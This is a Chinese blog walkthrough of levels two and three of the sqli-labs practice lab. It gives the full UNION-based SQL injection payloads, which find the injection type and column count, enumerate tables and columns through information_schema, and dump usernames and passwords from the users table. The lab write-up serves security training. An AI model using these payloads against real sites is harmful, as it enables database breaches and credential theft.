目录
前言
一、sqli靶场第二关
1.1 判断注入类型
1.2 判断数据表中的列数
1.3 使用union联合查询
1.4 使用group_concat()函数
1.5 爆出users表中的列名
1.6 爆出users表中的数据
二、sqli靶场第三关
2.1 判断注入类型
2.2 观察报错
2.3 判断数据表中的列数
2.4 使用union联合查询
2.5 使用group_concat()函数
2.6 爆出users表中的列名
2.7 爆出users表中的数据
🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对你有所帮助。
💡本文由Filotimo__✍️原创,首发于CSDN📚。
📣如需转载,请事先与我联系以获得授权⚠️。
🎁欢迎大家给我点赞👍、收藏⭐️,并在留言区📝与我互动,这些都是我前进的动力!
🌟我的格言:森林草木都有自己认为对的角度🌟。
前言
sqli靶场第一关:https://filotimo.blog.csdn.net/article/details/134626587?spm=1001.2014.3001.5502
一、sqli靶场第二关
1.1 判断注入类型
输入?id=1',显示语法错误。
输入?id=1'',显示语法错误。
输入?id=1/1,正常回显。
输入?id=1/0,爆出如下页面:
证明存在数字型注入。
1.2 判断数据表中的列数
介绍一个方法:二分法
其基本思想是将待查找的区间不断二分,以缩小查找范围,直到找到目标元素。
输入?id=1 order by 10 --+,出现回显Unknown column '10' in 'order clause'。
用一下二分法,输入?id=1 order by 5 --+,仍然回显Unknown column '10' in 'order clause'。
继续,输入?id=1 order by 3 --+,正常回显。
输入?id=1 order by 4 --+,回显Unknown column '10' in 'order clause'。
说明列数为3。
1.3 使用union联合查询
联合查询是 sql中用于将两个或多个查询的结果集组合成一个结果集的操作。使用union联合查询的前提是被联合的查询必须拥有相同数量的列,列的数据类型必须兼容。
输入?id=0 union select 1,2,3--+,用来判断回显位,其中的0是不存在的id值,这是为了使后方语句union select 1,2,3能够执行,页面如下:
输入?id=0 union select 1,2,database()--+爆出数据库名
1.4 使用group_concat()函数
group_concat()函数是 MySQL 中的聚合函数,用于将多行数据按照指定的分隔符连接为一个字符串。
构造:
?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆出了表名:
1.5 爆出users表中的列名
构造:
?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
获得了users表中的列名:
1.6 爆出users表中的数据
查看users表中所有的用户:
?id=0 union select 1,2,group_concat(username) from security.users --+
查看users表中所有的用户密码:
?id=0 union select 1,2,group_concat(password) from security.users --+
用concat_ws(':',A,B)函数,拼接用户名和密码,使其成对出现
?id=0 union select 1,2,group_concat(concat_ws(':',username,password)) from security.users --+
二、sqli靶场第三关
2.1 判断注入类型
输入?id=1',显示语法错误。
输入?id=1'',正常回显。
输入?id=1/1,正常回显。
输入?id=1/0,正常回显。
判断为字符型注入(初步判断为单引号闭合)。
2.2 观察报错
报错信息为''1'') LIMIT 0,1'
进一步判断为')闭合
输入?id=1') --+,正常回显。
2.3 判断数据表中的列数
输入?id=1') order by 3 --+,正常回显。
输入?id=1') order by 4 --+,显示超出。
用二分法与order by确定列数为3
2.4 使用union联合查询
输入?id=0') union select 1,2,3--+,判断回显位,页面如下:
输入?id=0') union select 1,2,database()--+爆出数据库名:
2.5 使用group_concat()函数
输入:
?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆出表名:
2.6 爆出users表中的列名
输入:
?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
获得了users表中的列名:
2.7 爆出users表中的数据
查看users表中所有的用户:
?id=0') union select 1,2,group_concat(username) from security.users --+
查看users表中所有的用户密码:
?id=0') union select 1,2,group_concat(password) from security.users --+
用concat_ws(':',A,B)函数,拼接用户名和密码,使其成对出现
?id=0') union select 1,2,group_concat(concat_ws(':',username,password)) from security.users --+